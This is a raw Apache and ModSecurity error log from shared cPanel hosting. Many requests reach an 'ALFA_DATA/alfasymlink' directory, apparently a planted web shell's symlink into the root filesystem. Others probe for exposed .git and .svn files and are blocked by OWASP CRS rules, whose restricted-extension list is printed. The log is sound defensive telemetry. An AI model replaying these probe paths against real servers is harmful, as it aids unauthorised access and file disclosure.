[Sun Oct 25 23:18:59.954533 2026] [core:error] [pid 2949173:tid 2949173] (13)Permission denied: [client 185.191.171.5:59690] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-64/poison
[Sun Oct 25 23:19:02.331267 2026] [ssl:error] [pid 2949510:tid 2949510] (70014)End of file found: [client 18.213.102.186:56987] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:19:10.226344 2026] [ssl:error] [pid 2949645:tid 2949645] (70014)End of file found: [client 52.45.92.83:9525] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:19:38.419648 2026] [ssl:error] [pid 2949515:tid 2949515] (70014)End of file found: [client 18.213.27.222:24498] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:19:42.670180 2026] [ssl:error] [pid 2949645:tid 2949645] (70014)End of file found: [client 3.229.164.203:55142] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:19:52.087723 2026] [ssl:error] [pid 2949173:tid 2949173] (70014)End of file found: [client 3.210.29.96:31592] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:19:58.275327 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 52.44.148.203:28985] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:20:10.388452 2026] [ssl:error] [pid 2950561:tid 2950561] (70014)End of file found: [client 52.4.238.8:22370] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:20:14.331748 2026] [ssl:error] [pid 2949646:tid 2949646] (70014)End of file found: [client 34.227.156.153:16012] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:20:18.241303 2026] [ssl:error] [pid 2949510:tid 2949510] (70014)End of file found: [client 54.91.122.193:36106] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:20:44.736670 2026] [security2:error] [pid 2943087:tid 2943087] [client 107.172.76.131:50525] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7HAASn5HKIYfqg0eAkYgAAADc"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 23:20:44.736726 2026] [security2:error] [pid 2943087:tid 2943087] [client 107.172.76.131:50525] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7HAASn5HKIYfqg0eAkYgAAADc"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 23:21:02.264200 2026] [ssl:error] [pid 2949510:tid 2949510] (70014)End of file found: [client 3.224.104.67:47938] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:21:06.367550 2026] [core:error] [pid 2949515:tid 2949515] (13)Permission denied: [client 3.212.86.97:2117] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/ohci-pci/bind
[Sun Oct 25 23:21:09.861758 2026] [security2:error] [pid 2949510:tid 2949510] [client 85.208.96.200:26402] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/pyro/import.php"] [unique_id "at7HJTqFc5_fZnwR1PN53AAAAAE"]
[Sun Oct 25 23:21:09.861794 2026] [security2:error] [pid 2949510:tid 2949510] [client 85.208.96.200:26402] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/pyro/import.php"] [unique_id "at7HJTqFc5_fZnwR1PN53AAAAAE"]
[Sun Oct 25 23:21:10.261469 2026] [core:error] [pid 2950561:tid 2950561] (13)Permission denied: [client 52.207.47.227:22609] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:01/PNP0B00:00/subsystem/devices/device:1e/subsystem/drivers/battery/uevent
[Sun Oct 25 23:21:11.673837 2026] [ssl:error] [pid 2952055:tid 2952055] (70014)End of file found: [client 85.208.96.206:28298] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:21:22.453782 2026] [ssl:error] [pid 2949515:tid 2949515] (70014)End of file found: [client 54.85.109.140:26736] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:21:26.329247 2026] [ssl:error] [pid 2950561:tid 2950561] (70014)End of file found: [client 3.232.102.111:29446] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:21:32.797456 2026] [core:error] [pid 2952055:tid 2952055] (13)Permission denied: [client 85.208.96.207:22184] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/audit_buffer/hwcache_align
[Sun Oct 25 23:21:33.009172 2026] [security2:error] [pid 2949515:tid 2949515] [client 195.178.110.105:37722] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "autodiscover.curso-de-ventas.com"] [uri "/register"] [unique_id "at7HPB9ZWJbCICX7c2HyQAAAABE"]
[Sun Oct 25 23:21:33.009203 2026] [security2:error] [pid 2949515:tid 2949515] [client 195.178.110.105:37722] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "autodiscover.curso-de-ventas.com"] [uri "/register"] [unique_id "at7HPB9ZWJbCICX7c2HyQAAAABE"]
[Sun Oct 25 23:21:33.304825 2026] [security2:error] [pid 2952054:tid 2952054] [client 195.178.110.105:37736] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "autodiscover.curso-de-ventas.com"] [uri "/register"] [unique_id "at7HPXCjmhgpPYL_FEy5gwAAAAg"]
[Sun Oct 25 23:21:33.304871 2026] [security2:error] [pid 2952054:tid 2952054] [client 195.178.110.105:37736] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "autodiscover.curso-de-ventas.com"] [uri "/register"] [unique_id "at7HPXCjmhgpPYL_FEy5gwAAAAg"]
[Sun Oct 25 23:21:34.273830 2026] [ssl:error] [pid 2950561:tid 2950561] (70014)End of file found: [client 3.218.35.239:59165] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:21:44.895943 2026] [core:error] [pid 2952055:tid 2952055] (13)Permission denied: [client 85.208.96.199:57732] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mqueue_inode_cache/objects
[Sun Oct 25 23:21:54.258865 2026] [security2:error] [pid 2950825:tid 2950825] [client 195.178.110.105:53360] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "autodiscover.curso-de-ventas.com"] [uri "/"] [unique_id "at7HUgdXaRZq20acEGrxVQAAAAY"]
[Sun Oct 25 23:21:54.258898 2026] [security2:error] [pid 2950825:tid 2950825] [client 195.178.110.105:53360] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "autodiscover.curso-de-ventas.com"] [uri "/"] [unique_id "at7HUgdXaRZq20acEGrxVQAAAAY"]
[Sun Oct 25 23:21:54.430734 2026] [ssl:error] [pid 2949510:tid 2949510] (70014)End of file found: [client 23.21.250.48:25541] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:22:06.373999 2026] [ssl:error] [pid 2950561:tid 2950561] (70014)End of file found: [client 52.73.6.26:15792] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:22:14.260809 2026] [core:error] [pid 2954002:tid 2954002] (13)Permission denied: [client 23.23.180.225:16676] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:04.0/subsystem/drivers/vmd/new_id
[Sun Oct 25 23:22:18.264994 2026] [ssl:error] [pid 2949515:tid 2949515] (70014)End of file found: [client 44.216.172.204:65202] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:22:23.265165 2026] [authz_core:error] [pid 2950561:tid 2950561] [client 109.238.87.20:50400] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 23:22:34.306982 2026] [ssl:error] [pid 2950561:tid 2950561] (70014)End of file found: [client 3.94.40.182:63739] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:22:36.587937 2026] [core:error] [pid 2950825:tid 2950825] (13)Permission denied: [client 185.191.171.6:42674] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/remote_node_defrag_ratio
[Sun Oct 25 23:22:46.447304 2026] [ssl:error] [pid 2949173:tid 2949173] (70014)End of file found: [client 3.230.224.6:31534] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:23:06.334405 2026] [ssl:error] [pid 2954002:tid 2954002] (70014)End of file found: [client 52.22.87.224:39447] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:23:10.352305 2026] [ssl:error] [pid 2950487:tid 2950487] (70014)End of file found: [client 44.209.35.147:9598] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:23:11.924944 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 185.191.171.13:65118] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:23:13.159927 2026] [ssl:error] [pid 2952054:tid 2952054] (70014)End of file found: [client 185.191.171.13:61874] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:23:14.468503 2026] [ssl:error] [pid 2952056:tid 2952056] (70014)End of file found: [client 98.83.10.183:41537] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:23:18.327378 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 44.208.223.68:43409] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:23:22.278676 2026] [core:error] [pid 2934778:tid 2934778] (13)Permission denied: [client 18.205.127.11:8670] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/cpu1/firmware_node/physical_node/crash_notes
[Sun Oct 25 23:23:38.915078 2026] [core:error] [pid 2934778:tid 2934778] (13)Permission denied: [client 85.208.96.210:33894] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-16/trace
[Sun Oct 25 23:23:42.418277 2026] [ssl:error] [pid 2954002:tid 2954002] (70014)End of file found: [client 44.223.232.55:9785] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:23:46.584013 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 54.84.93.8:49004] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:23:50.343632 2026] [ssl:error] [pid 2943087:tid 2943087] (70014)End of file found: [client 3.223.134.5:42432] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:23:50.343917 2026] [security2:error] [pid 2943087:tid 2943087] [client 3.223.134.5:42432] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/node0/memory15/node0/memory13/phys_index"] [unique_id "at7HxgSn5HKIYfqg0eAkcAAAADc"]
[Sun Oct 25 23:23:50.343952 2026] [security2:error] [pid 2943087:tid 2943087] [client 3.223.134.5:42432] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/node0/memory15/node0/memory13/phys_index"] [unique_id "at7HxgSn5HKIYfqg0eAkcAAAADc"]
[Sun Oct 25 23:23:54.488968 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 18.210.58.238:52133] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:24:02.317151 2026] [ssl:error] [pid 2949645:tid 2949645] (70014)End of file found: [client 52.71.218.25:41304] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:24:06.363500 2026] [ssl:error] [pid 2943061:tid 2943061] (70014)End of file found: [client 100.29.34.97:39520] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:24:18.660623 2026] [ssl:error] [pid 2943061:tid 2943061] (70014)End of file found: [client 44.223.193.255:13095] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:24:26.607803 2026] [core:error] [pid 2943087:tid 2943087] (13)Permission denied: [client 54.162.69.192:39012] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/device:01/PNP0303:00/physical_node/subsystem/uevent
[Sun Oct 25 23:24:45.289154 2026] [security2:error] [pid 2952056:tid 2952056] [client 45.130.203.186:37703] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at7H_ZGehNisEVJl_lKlqAAAAAs"]
[Sun Oct 25 23:24:45.289206 2026] [security2:error] [pid 2952056:tid 2952056] [client 45.130.203.186:37703] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at7H_ZGehNisEVJl_lKlqAAAAAs"]
[Sun Oct 25 23:24:45.636629 2026] [security2:error] [pid 2952054:tid 2952054] [client 45.130.203.190:51045] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at7H_XCjmhgpPYL_FEy5kgAAAAg"]
[Sun Oct 25 23:24:45.636991 2026] [security2:error] [pid 2952054:tid 2952054] [client 45.130.203.190:51045] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at7H_XCjmhgpPYL_FEy5kgAAAAg"]
[Sun Oct 25 23:24:45.637348 2026] [security2:error] [pid 2952054:tid 2952054] [client 45.130.203.190:51045] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at7H_XCjmhgpPYL_FEy5kgAAAAg"]
[Sun Oct 25 23:24:45.654324 2026] [security2:error] [pid 2943087:tid 2943087] [client 45.130.203.138:21711] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at7H_QSn5HKIYfqg0eAkdQAAADc"]
[Sun Oct 25 23:24:45.654548 2026] [security2:error] [pid 2943087:tid 2943087] [client 45.130.203.138:21711] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at7H_QSn5HKIYfqg0eAkdQAAADc"]
[Sun Oct 25 23:24:45.654808 2026] [security2:error] [pid 2943087:tid 2943087] [client 45.130.203.138:21711] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at7H_QSn5HKIYfqg0eAkdQAAADc"]
[Sun Oct 25 23:24:50.434033 2026] [core:error] [pid 2949650:tid 2949650] (13)Permission denied: [client 23.22.59.87:38738] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/0000:00:02.0/remove
[Sun Oct 25 23:24:54.379823 2026] [core:error] [pid 2950487:tid 2950487] (13)Permission denied: [client 3.212.219.113:8817] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/virtio-pci/unbind
[Sun Oct 25 23:24:57.967187 2026] [core:error] [pid 2954002:tid 2954002] (13)Permission denied: [client 85.208.96.204:56294] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/store_user
[Sun Oct 25 23:24:58.333412 2026] [ssl:error] [pid 2950487:tid 2950487] (70014)End of file found: [client 52.2.191.202:4637] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:25:02.394715 2026] [core:error] [pid 2954191:tid 2954191] (13)Permission denied: [client 54.197.178.107:14753] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/drivers/ec/unbind
[Sun Oct 25 23:25:06.371373 2026] [ssl:error] [pid 2954192:tid 2954192] (70014)End of file found: [client 3.230.69.161:45533] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:25:10.336603 2026] [ssl:error] [pid 2950487:tid 2950487] (70014)End of file found: [client 3.93.98.99:56979] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:25:14.517493 2026] [ssl:error] [pid 2943087:tid 2943087] (70014)End of file found: [client 3.94.157.25:41543] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:25:18.640365 2026] [ssl:error] [pid 2954002:tid 2954002] (70014)End of file found: [client 35.170.205.140:10021] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:25:22.530574 2026] [ssl:error] [pid 2954191:tid 2954191] (70014)End of file found: [client 44.218.6.93:45991] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:25:24.343715 2026] [security2:error] [pid 2954192:tid 2954192] [client 45.138.12.6:48238] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7IJE1Jiwd2SLra4mxdxwAAAAw"]
[Sun Oct 25 23:25:24.343990 2026] [security2:error] [pid 2954192:tid 2954192] [client 45.138.12.6:48238] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7IJE1Jiwd2SLra4mxdxwAAAAw"]
[Sun Oct 25 23:25:24.344258 2026] [security2:error] [pid 2954192:tid 2954192] [client 45.138.12.6:48238] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7IJE1Jiwd2SLra4mxdxwAAAAw"]
[Sun Oct 25 23:25:24.632987 2026] [security2:error] [pid 2950487:tid 2950487] [client 45.138.12.6:48242] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at7IJBk8rkm1bY7ZQ1iiswAAAAM"]
[Sun Oct 25 23:25:24.633213 2026] [security2:error] [pid 2950487:tid 2950487] [client 45.138.12.6:48242] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at7IJBk8rkm1bY7ZQ1iiswAAAAM"]
[Sun Oct 25 23:25:24.633465 2026] [security2:error] [pid 2950487:tid 2950487] [client 45.138.12.6:48242] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at7IJBk8rkm1bY7ZQ1iiswAAAAM"]
[Sun Oct 25 23:25:24.633871 2026] [security2:error] [pid 2950487:tid 2950487] [client 45.138.12.6:48242] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at7IJBk8rkm1bY7ZQ1iiswAAAAM"]
[Sun Oct 25 23:25:24.936207 2026] [security2:error] [pid 2949645:tid 2949645] [client 45.138.12.6:48256] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/entries"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at7IJMvHbTR9X85YLoZ8HgAAAAA"]
[Sun Oct 25 23:25:24.936471 2026] [security2:error] [pid 2949645:tid 2949645] [client 45.138.12.6:48256] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at7IJMvHbTR9X85YLoZ8HgAAAAA"]
[Sun Oct 25 23:25:24.936726 2026] [security2:error] [pid 2949645:tid 2949645] [client 45.138.12.6:48256] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at7IJMvHbTR9X85YLoZ8HgAAAAA"]
